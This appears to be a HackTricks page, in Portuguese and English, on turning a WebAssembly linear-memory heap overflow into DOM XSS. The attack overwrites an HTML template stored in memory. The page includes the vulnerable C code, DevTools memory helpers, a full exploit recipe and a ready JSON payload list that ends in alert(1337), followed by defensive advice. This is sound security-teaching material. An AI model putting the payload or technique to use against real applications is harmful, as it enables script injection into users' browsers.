WebAssembly linear memory corruption to DOM XSS (template overwrite)

Reading time: 8 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Esta técnica mostra como um bug de memory-corruption dentro de um módulo WebAssembly (WASM) compilado com Emscripten pode ser transformado em um DOM XSS confiável mesmo quando a entrada é sanitizada. O pivô é corromper constantes graváveis na WASM linear memory (por exemplo, templates de formatação HTML) em vez de atacar a string de origem sanitizada.

Ideia chave: No modelo WebAssembly, o código vive em páginas executáveis não-graváveis, mas os dados do módulo (heap/stack/globals/"constants") vivem em uma única linear memory plana (pages of 64KB) que é gravável pelo módulo. Se código C/C++ com bug escrever fora dos limites, você pode sobrescrever objetos adjacentes e até mesmo strings constantes embutidas na linear memory. Quando tal constante é usada mais tarde para construir HTML para inserção via um DOM sink, você pode transformar entrada sanitizada em JavaScript executável.

Threat model and preconditions

  • Web app uses Emscripten glue (Module.cwrap) to call into a WASM module.
  • Application state lives in WASM linear memory (e.g., C structs with pointers/lengths to user buffers).
  • Input sanitizer encodes metacharacters before storage, but later rendering builds HTML using a format string stored in WASM linear memory.
  • There is a linear-memory corruption primitive (e.g., heap overflow, UAF, or unchecked memcpy).

Minimal vulnerable data model (example)

c
typedef struct msg {
char *msg_data;       // pointer to message bytes
size_t msg_data_len;  // length after sanitization
int msg_time;         // timestamp
int msg_status;       // flags
} msg;

typedef struct stuff {
msg *mess;            // dynamic array of msg
size_t size;          // used
size_t capacity;      // allocated
} stuff; // global chat state in linear memory

Padrão lógico vulnerável

  • addMsg(): aloca um novo buffer com o tamanho da entrada sanitizada e anexa uma msg a s.mess, dobrando a capacidade com realloc quando necessário.
  • editMsg(): re-sanitiza e memcpy’s os novos bytes para o buffer existente sem garantir que o novo comprimento ≤ a alocação anterior → intra‑linear‑memory heap overflow.
  • populateMsgHTML(): formata o texto sanitizado com um stub embutido como "

    %.*s

    " que reside em linear memory. O HTML retornado é enviado para um DOM sink (por exemplo, innerHTML).

Allocator grooming with realloc()

c
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
  • Envie mensagens suficientes para exceder a capacidade inicial. Depois do crescimento, realloc() frequentemente coloca s->mess imediatamente após o último user buffer na linear memory.
  • Transborde a última mensagem via editMsg() para corromper campos dentro de s->mess (e.g., overwrite msg_data pointers) → reescrita arbitrária de ponteiros dentro da linear memory para dados que serão renderizados depois.

Exploit pivot: sobrescrever o HTML template (sink) em vez da fonte sanitizada

  • Sanitização protege a entrada, não os sinks. Encontre o format stub usado por populateMsgHTML(), por exemplo:
  • "

    %.*s

    " → change to ""
  • Localize o stub de forma determinística escaneando a linear memory; é uma string de bytes simples dentro de Module.HEAPU8.
  • Depois de sobrescrever o stub, o conteúdo da mensagem sanitizado torna-se o handler JavaScript para onerror, então adicionar uma nova mensagem com texto como alert(1337) gera e executa imediatamente no DOM.

Chrome DevTools workflow (Emscripten glue)

  • Interrompa no primeiro Module.cwrap call no JS glue e entre no call site wasm para capturar argumentos de ponteiro (offsets numéricos na linear memory).
  • Utilize typed views como Module.HEAPU8 para ler/escrever a memória WASM a partir do console.
  • Snippets auxiliares:
javascript
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int

Receita de exploração ponta a ponta

  1. Groom: add N small messages to trigger realloc(). Ensure s->mess is adjacent to a user buffer.
  2. Overflow: call editMsg() on the last message with a longer payload to overwrite an entry in s->mess, setting msg_data of message 0 to point at (stub_addr + 1). The +1 skips the leading '<' to keep tag alignment intact during the next edit.
  3. Template rewrite: edit message 0 so its bytes overwrite the template with: "img src=1 onerror=%.*s ".
  4. Trigger XSS: add a new message whose sanitized content is JavaScript, e.g., alert(1337). Rendering emits and executes.

Exemplo de lista de ações para serializar e colocar em ?s= (Codifique em Base64 com btoa antes de usar)

json
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1      onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]

Por que este bypass funciona

  • WASM impede a execução de código a partir da linear memory, mas dados constantes dentro da linear memory são graváveis se a lógica do programa for falha.
  • O sanitizer protege apenas a string de origem; corrompendo o sink (o HTML template), a entrada sanitizada torna-se o JS handler value e é executada quando inserida no DOM.
  • Adjacência dirigida por realloc() somada a memcpy sem verificação em fluxos de edição permite corrupção de ponteiros para redirecionar escritas a endereços escolhidos pelo atacante dentro da linear memory.

Generalização e outras superfícies de ataque

  • Qualquer HTML template em memória, JSON skeleton ou padrão de URL embutido em linear memory pode ser alvo para alterar como dados sanitizados são interpretados downstream.
  • Outras armadilhas comuns do WASM: out-of-bounds writes/reads na linear memory, UAF em objetos do heap, function-table misuse com índices de chamada indireta sem verificação, e incompatibilidades no glue JS↔WASM.

Orientações defensivas

  • Em caminhos de edição, verifique new length ≤ capacity; redimensione buffers antes da cópia (realloc para new_len) ou use APIs com limite de tamanho (snprintf/strlcpy) e acompanhe a capacidade.
  • Mantenha templates imutáveis fora da linear memory gravável ou verifique sua integridade antes do uso.
  • Trate as fronteiras JS↔WASM como não confiáveis: valide ranges/comprimentos de ponteiros, fuzz as interfaces exportadas, e limite o crescimento da memória.
  • Realize a sanitização no sink: evite construir HTML em WASM; prefira APIs seguras do DOM ao invés de templating no estilo innerHTML.
  • Evite confiar em estado embutido na URL para fluxos privilegiados.

References

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks